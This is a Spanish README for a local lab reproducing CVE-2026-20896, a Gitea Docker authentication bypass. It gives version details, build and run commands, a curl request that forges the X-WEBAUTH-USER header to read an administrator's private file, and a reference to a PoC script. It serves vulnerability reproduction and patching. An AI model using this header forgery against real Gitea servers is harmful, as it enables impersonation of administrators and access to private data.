
Omisión de autenticación en la imagen Docker de Gitea
[!WARNING] Usa este PoC solo en un laboratorio local o contra un sistema que estés autorizado explícitamente a probar.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 es una omisión de autenticación en las imágenes oficiales de Docker de Gitea afectadas. Cuando la autenticación mediante proxy inverso está habilitada, el ajuste REVERSE_PROXY_TRUSTED_PROXIES = * generado por la imagen permite que un cliente que pueda alcanzar el backend de Gitea suplante a un usuario existente mediante la cabecera X-WEBAUTH-USER.
El laboratorio crea un administrador llamado gitea-admin con una contraseña aleatoria y almacena CVE-2026-20896_AUTH_BYPASS_CONFIRMED en el repositorio privado gitea-admin/private-proof. Leer ese archivo sin conocer la contraseña aleatoria del administrador demuestra la omisión.
| Categoría | Versión |
|---|---|
| Vulnerable | Imágenes oficiales de Docker gitea/gitea ≤ 1.26.2 |
| Primera versión corregida | 1.26.3 |
| Recomendada | 1.26.4 o posterior |
La configuración vulnerable requiere que la autenticación mediante proxy inverso esté habilitada y que el backend de Gitea sea directamente accesible, o que un proxy ascendente conserve la cabecera de identidad proporcionada por el atacante. No se necesita un contenedor de proxy inverso para esta reproducción local.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Espera unos segundos a que Gitea y el repositorio privado de prueba se inicialicen.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Una explotación exitosa devuelve CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
El script compara peticiones no autenticadas, de no administrador y peticiones forjadas de administrador, e imprime VULNERABLE cuando se confirma la omisión de autorización. Requiere Python 3.10 o posterior y usa solo la biblioteca estándar.
REVERSE_PROXY_TRUSTED_PROXIES a direcciones de proxy de confianza.docker stop cve-2026-20896-gitea-vuln